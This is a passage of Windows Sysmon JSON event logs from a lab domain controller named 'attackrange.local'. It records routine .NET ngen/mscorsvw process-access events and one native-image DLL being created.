accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:13.041\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CE-5F2D-0000-001072CD0D00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:13.041","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CE-5F2D-0000-001072CD0D00}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:13.057\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4301-5F2D-0000-0010B8270F00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:13.057","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4301-5F2D-0000-0010B8270F00}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:13.370\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-001079840E00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:13.370","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-001079840E00}","TargetProcessId":"3168","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:13.370\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-001079840E00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:13.370","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-001079840E00}","TargetProcessId":"3168","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:13.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4301-5F2D-0000-00107E2C0F00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:13.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4301-5F2D-0000-00107E2C0F00}","TargetProcessId":"3168","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:14.010\r\nProcessGuid: {90617006-4301-5F2D-0000-00107E2C0F00}\r\nProcessId: 3168\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c60-0\\System.ServiceModel.Activation.dll\r\nCreationUtcTime: 2020-08-07 12:03:14.010","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:14.010","ProcessGuid":"{90617006-4301-5F2D-0000-00107E2C0F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c60-0\\System.ServiceModel.Activation.dll","CreationUtcTime":"2020-08-07 12:03:14.010","EventReceivedTime":"2020-08-07 12:03:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:14.072\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4302-5F2D-0000-0010BF340F00}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:14.072","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4302-5F2D-0000-0010BF340F00}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:14.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4302-5F2D-0000-0010BF340F00}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:14.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4302-5F2D-0000-0010BF340F00}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:14.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4302-5F2D-0000-0010BF340F00}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:14.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4302-5F2D-0000-0010BF340F00}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:14.244\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4302-5F2D-0000-001007390F00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 